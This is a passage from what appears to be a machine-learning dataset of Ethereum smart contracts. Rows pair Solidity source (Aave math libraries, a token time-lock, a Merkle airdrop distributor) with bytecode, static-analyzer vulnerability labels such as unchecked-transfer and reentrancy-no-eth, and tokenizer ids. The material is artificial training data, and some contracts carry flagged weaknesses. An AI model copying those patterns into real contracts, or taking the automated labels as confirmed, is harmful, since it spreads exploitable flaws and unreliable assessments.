/ 2; uint256 result = halfRatio + a; require(result >= halfRatio, Errors.MATH_ADDITION_OVERFLOW); return result / WAD_RAY_RATIO; } /** * @dev Converts wad up to ray * @param a Wad * @return a converted in ray **/ function wadToRay(uint256 a) internal pure returns (uint256) { uint256 result = a * WAD_RAY_RATIO; require(result / WAD_RAY_RATIO == a, Errors.MATH_MULTIPLICATION_OVERFLOW); return result; } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; import {Errors} from '../helpers/Errors.sol'; /** * @title PercentageMath library * @author Aave * @notice Provides functions to perform percentage calculations * @dev Percentages are defined by default with 2 decimals of precision (100.00). The precision is indicated by PERCENTAGE_FACTOR * @dev Operations are rounded half up **/ library PercentageMath { uint256 constant PERCENTAGE_FACTOR = 1e4; //percentage plus two decimals uint256 constant HALF_PERCENT = PERCENTAGE_FACTOR / 2; /** * @dev Executes a percentage multiplication * @param value The value of which the percentage needs to be calculated * @param percentage The percentage of the value to be calculated * @return The percentage of value **/ function percentMul(uint256 value, uint256 percentage) internal pure returns (uint256) { if (value == 0 || percentage == 0) { return 0; } require( value <= (type(uint256).max - HALF_PERCENT) / percentage, Errors.MATH_MULTIPLICATION_OVERFLOW ); return (value * percentage + HALF_PERCENT) / PERCENTAGE_FACTOR; } /** * @dev Executes a percentage division * @param value The value of which the percentage needs to be calculated * @param percentage The percentage of the value to be calculated * @return The value divided the percentage **/ function percentDiv(uint256 value, uint256 percentage) internal pure returns (uint256) { require(percentage != 0, Errors.MATH_DIVISION_BY_ZERO); uint256 halfPercentage = percentage / 2; require( value <= (type(uint256).max - halfPercentage) / PERCENTAGE_FACTOR, Errors.MATH_MULTIPLICATION_OVERFLOW ); return (value * PERCENTAGE_FACTOR + halfPercentage) / percentage; } }
0x7397685795b76935eeafdc9cd67f04f57d869d6ca530146080604052600436106100355760003560e01c80632b33897c1461003a575b600080fd5b81801561004657600080fd5b5061008b600480360360a081101561005d57600080fd5b508035906001600160a01b03602082013581169160408101358216916060820135811691608001351661008d565b005b6004850154604080518082019091526002815261199960f11b6020820152906001600160a01b03161561013e5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b838110156101035781810151838201526020016100eb565b50505050905090810190601f1680156101305780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506101476101f5565b6001860180546fffffffffffffffffffffffffffffffff19166001600160801b039290921691909117905561017a6101f5565b6001860180546001600160801b03928316600160801b0292169190911790556004850180546001600160a01b039586166001600160a01b031991821617909155600586018054948616948216949094179093556006850180549285169284169290921790915560079093018054939092169216919091179055565b6b033b2e3c9fd0803ce80000009056fea26469706673582212207fc1ab38c81f5812abfbb5e09864cbbc9091848e24b8f30417e730ccfd9a5ca364736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'divide-before-multiply', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'incorrect-equality', 'impact': 'Medium', 'confidence': 'High'}, {'check': 'uninitialized-local', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2581, 2575, 27531, 2581, 2683, 2629, 2497, 2581, 2575, 2683, 19481, 4402, 10354, 16409, 2683, 19797, 2575, 2581, 2546, 2692, 2549, 2546, 28311, 2094, 20842, 2683, 2094, 2575, 3540, 2629, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 12943, 24759, 1011, 1017, 1012, 1014, 10975, 8490, 2863, 5024, 3012, 1014, 1012, 1020, 1012, 2260, 1025, 12324, 1063, 3647, 18900, 2232, 1065, 2013, 1005, 1012, 1012, 1013, 1012, 1012, 1013, 1012, 1012, 1013, 12530, 15266, 1013, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 3647, 18900, 2232, 1012, 14017, 1005, 1025, 12324, 1063, 29464, 11890, 11387, 1065, 2013, 1005, 1012, 1012, 1013, 1012, 1012, 1013, 1012, 1012, 1013, 12530, 15266, 1013, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 29464, 11890, 11387, 1012, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,809
0x97687a50692f733be88dfaa83b9fe86589792955
pragma solidity ^0.4.18; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract token { function balanceOf(address _owner) public constant returns (uint256 balance); function transfer(address _to, uint256 _value) public returns (bool success); } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public{ owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract lockEtherPay is Ownable { using SafeMath for uint256; token token_reward; address public beneficiary; bool public isLocked = false; bool public isReleased = false; uint256 public start_time; uint256 public end_time; uint256 public fifty_two_weeks = 30240000; event TokenReleased(address beneficiary, uint256 token_amount); constructor() public{ token_reward = token(0xAa1ae5e57dc05981D83eC7FcA0b3c7ee2565B7D6); beneficiary = 0xC9d6f9652e31133027A40f52EdEeab741a55C209; } function tokenBalance() constant public returns (uint256){ return token_reward.balanceOf(this); } function lock() public onlyOwner returns (bool){ require(!isLocked); require(tokenBalance() > 0); start_time = now; end_time = start_time.add(fifty_two_weeks); isLocked = true; } function lockOver() constant public returns (bool){ uint256 current_time = now; return current_time > end_time; } function release() onlyOwner public{ require(isLocked); require(!isReleased); require(lockOver()); uint256 token_amount = tokenBalance(); token_reward.transfer( beneficiary, token_amount); emit TokenReleased(beneficiary, token_amount); isReleased = true; } }
0x6080604052600436106100ba576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806316243356146100bf57806338af3eed146100ea5780636e15266a14610141578063834ee4171461016c57806386d1a69f146101975780638da5cb5b146101ae5780639b7faaf0146102055780639e1a4d1914610234578063a4e2d6341461025f578063f2fde38b1461028e578063f83d08ba146102d1578063fa2a899714610300575b600080fd5b3480156100cb57600080fd5b506100d461032f565b6040518082815260200191505060405180910390f35b3480156100f657600080fd5b506100ff610335565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561014d57600080fd5b5061015661035b565b6040518082815260200191505060405180910390f35b34801561017857600080fd5b50610181610361565b6040518082815260200191505060405180910390f35b3480156101a357600080fd5b506101ac610367565b005b3480156101ba57600080fd5b506101c36105e6565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561021157600080fd5b5061021a61060b565b604051808215151515815260200191505060405180910390f35b34801561024057600080fd5b5061024961061c565b6040518082815260200191505060405180910390f35b34801561026b57600080fd5b5061027461071b565b604051808215151515815260200191505060405180910390f35b34801561029a57600080fd5b506102cf600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061072e565b005b3480156102dd57600080fd5b506102e6610883565b604051808215151515815260200191505060405180910390f35b34801561030c57600080fd5b50610315610954565b604051808215151515815260200191505060405180910390f35b60045481565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60055481565b60035481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156103c457600080fd5b600260149054906101000a900460ff1615156103df57600080fd5b600260159054906101000a900460ff161515156103fb57600080fd5b61040361060b565b151561040e57600080fd5b61041661061c565b9050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156104ff57600080fd5b505af1158015610513573d6000803e3d6000fd5b505050506040513d602081101561052957600080fd5b8101908080519060200190929190505050507f9cf9e3ab58b33f06d81842ea0ad850b6640c6430d6396973312e1715792e7a91600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1682604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a16001600260156101000a81548160ff02191690831515021790555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600080429050600454811191505090565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b1580156106db57600080fd5b505af11580156106ef573d6000803e3d6000fd5b505050506040513d602081101561070557600080fd5b8101908080519060200190929190505050905090565b600260149054906101000a900460ff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561078957600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156107c557600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156108e057600080fd5b600260149054906101000a900460ff161515156108fc57600080fd5b600061090661061c565b11151561091257600080fd5b4260038190555061093060055460035461096790919063ffffffff16565b6004819055506001600260146101000a81548160ff02191690831515021790555090565b600260159054906101000a900460ff1681565b600080828401905083811015151561097b57fe5b80915050929150505600a165627a7a72305820a8c5493674d38f8ce4056519fbbd94f20df9b0927bbd165ce623c910e265fad70029
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unchecked-transfer', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2581, 2575, 2620, 2581, 2050, 12376, 2575, 2683, 2475, 2546, 2581, 22394, 4783, 2620, 2620, 20952, 11057, 2620, 2509, 2497, 2683, 7959, 20842, 27814, 2683, 2581, 2683, 24594, 24087, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 2324, 1025, 1013, 1008, 1008, 1008, 1030, 2516, 3647, 18900, 2232, 1008, 1030, 16475, 8785, 3136, 2007, 3808, 14148, 2008, 5466, 2006, 7561, 1008, 1013, 3075, 3647, 18900, 2232, 1063, 3853, 14163, 2140, 1006, 21318, 3372, 17788, 2575, 1037, 1010, 21318, 3372, 17788, 2575, 1038, 1007, 4722, 5760, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1063, 21318, 3372, 17788, 2575, 1039, 1027, 1037, 1008, 1038, 1025, 20865, 1006, 1037, 1027, 1027, 1014, 1064, 1064, 1039, 1013, 1037, 1027, 1027, 1038, 1007, 1025, 2709, 1039, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,810
0x97688212A80a4a799635C8D96a50E86655B80865
// SPDX-License-Identifier: MIT pragma solidity ^0.8.4; import "./open-zeppelin/interfaces/IERC20.sol"; import "./open-zeppelin/libraries/SafeERC20.sol"; import "./open-zeppelin//utils/MerkleProof.sol"; import "./open-zeppelin/interfaces/IMerkleDistributor.sol"; import "./open-zeppelin/utils/Ownable.sol"; /** @title Paladin Merkle Aridrop contract */ /// @author Paladin /* Contract holds PAL ERC20 tokens, and allow elegible users to claim a given amount if a correct merkle proof is provided */ contract MerkleDistributor is IMerkleDistributor, Ownable { using SafeERC20 for IERC20; uint256 public immutable endTimestamp; address public immutable override token; bytes32 public immutable override merkleRoot; // This is a packed array of booleans. mapping(uint256 => uint256) private claimedBitMap; constructor( address _admin, address _token, bytes32 _merkleRoot, uint256 _distributionDuration // in number of days ) { require(_admin != address(0), "MerkleDistributor: admin is address zero"); require(_token != address(0), "MerkleDistributor: zero address"); require(_merkleRoot != bytes32(0), "MerkleDistributor: invalid merkle root"); require(_distributionDuration > 0, "MerkleDistributor: invalid duration"); token = _token; merkleRoot = _merkleRoot; endTimestamp = block.timestamp + (_distributionDuration * 1 days); transferOwnership(_admin); } function isClaimed(uint256 index) public view override returns (bool) { uint256 claimedWordIndex = index / 256; uint256 claimedBitIndex = index % 256; uint256 claimedWord = claimedBitMap[claimedWordIndex]; uint256 mask = (1 << claimedBitIndex); return claimedWord & mask == mask; } function _setClaimed(uint256 index) private { uint256 claimedWordIndex = index / 256; uint256 claimedBitIndex = index % 256; claimedBitMap[claimedWordIndex] = claimedBitMap[claimedWordIndex] | (1 << claimedBitIndex); } function claim( uint256 index, address account, uint256 amount, bytes32[] calldata merkleProof ) external override { require(!isClaimed(index), "MerkleDistributor: Drop already claimed"); // Verify the merkle proof. bytes32 node = keccak256(abi.encodePacked(index, account, amount)); require( MerkleProof.verify(merkleProof, merkleRoot, node), "MerkleDistributor: Invalid proof" ); // Mark it claimed and send the token. _setClaimed(index); IERC20(token).safeTransfer(account, amount); emit Claimed(index, account, amount); } function recoverToken(address tokenAddress, uint256 amount) external onlyOwner { if(tokenAddress == token){ // distribution token require(block.timestamp >= endTimestamp, "MerkleDistributor: Not allowed before end of distribution"); IERC20(token).safeTransfer(owner(), amount); } else{ // any other lost token IERC20(tokenAddress).safeTransfer(owner(), amount); } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../interfaces/IERC20.sol"; import "../utils/Address.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using Address for address; function safeTransfer( IERC20 token, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom( IERC20 token, address from, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove( IERC20 token, address spender, uint256 value ) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' require( (value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance( IERC20 token, address spender, uint256 value ) internal { uint256 newAllowance = token.allowance(address(this), spender) + value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance( IERC20 token, address spender, uint256 value ) internal { unchecked { uint256 oldAllowance = token.allowance(address(this), spender); require(oldAllowance >= value, "SafeERC20: decreased allowance below zero"); uint256 newAllowance = oldAllowance - value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev These functions deal with verification of Merkle Trees proofs. * * The proofs can be generated using the JavaScript library * https://github.com/miguelmota/merkletreejs[merkletreejs]. * Note: the hashing algorithm should be keccak256 and pair sorting should be enabled. * * See `test/utils/cryptography/MerkleProof.test.js` for some examples. */ library MerkleProof { /** * @dev Returns true if a `leaf` can be proved to be a part of a Merkle tree * defined by `root`. For this, a `proof` must be provided, containing * sibling hashes on the branch from the leaf to the root of the tree. Each * pair of leaves and each pair of pre-images are assumed to be sorted. */ function verify( bytes32[] memory proof, bytes32 root, bytes32 leaf ) internal pure returns (bool) { bytes32 computedHash = leaf; for (uint256 i = 0; i < proof.length; i++) { bytes32 proofElement = proof[i]; if (computedHash <= proofElement) { // Hash(current computed hash + current element of the proof) computedHash = keccak256(abi.encodePacked(computedHash, proofElement)); } else { // Hash(current element of the proof + current computed hash) computedHash = keccak256(abi.encodePacked(proofElement, computedHash)); } } // Check if the computed hash (root) is equal to the provided root return computedHash == root; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.4; interface IMerkleDistributor { function token() external view returns (address); function merkleRoot() external view returns (bytes32); function isClaimed(uint256 index) external view returns (bool); function claim( uint256 index, address account, uint256 amount, bytes32[] calldata merkleProof ) external; event Claimed(uint256 index, address account, uint256 amount); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } }
0x608060405234801561001057600080fd5b50600436106100a35760003560e01c80639e34070f11610076578063b29a81401161005b578063b29a814014610188578063f2fde38b1461019b578063fc0c546a146101ae57600080fd5b80639e34070f1461013e578063a85adeab1461016157600080fd5b80632e7ba6ef146100a85780632eb4a7ab146100bd578063715018a6146100f75780638da5cb5b146100ff575b600080fd5b6100bb6100b6366004610e1b565b6101d5565b005b6100e47f2af1f1cfc0238a98bfdabfeab62a8a50350fd1183d49237b809ab2ba78e5bdf681565b6040519081526020015b60405180910390f35b6100bb61043c565b60005473ffffffffffffffffffffffffffffffffffffffff165b60405173ffffffffffffffffffffffffffffffffffffffff90911681526020016100ee565b61015161014c366004610e03565b6104c9565b60405190151581526020016100ee565b6100e47f0000000000000000000000000000000000000000000000000000000061f93ac581565b6100bb610196366004610dba565b61050a565b6100bb6101a9366004610da0565b610733565b6101197f000000000000000000000000ab846fb6c81370327e784ae7cbb6d6a6af6ff4bf81565b6101de856104c9565b15610270576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602760248201527f4d65726b6c654469737472696275746f723a2044726f7020616c72656164792060448201527f636c61696d65640000000000000000000000000000000000000000000000000060648201526084015b60405180910390fd5b60408051602081018790527fffffffffffffffffffffffffffffffffffffffff000000000000000000000000606087901b16918101919091526054810184905260009060740160405160208183030381529060405280519060200120905061032e8383808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152507f2af1f1cfc0238a98bfdabfeab62a8a50350fd1183d49237b809ab2ba78e5bdf692508591506108639050565b610394576040517f08c379a0000000000000000000000000000000000000000000000000000000008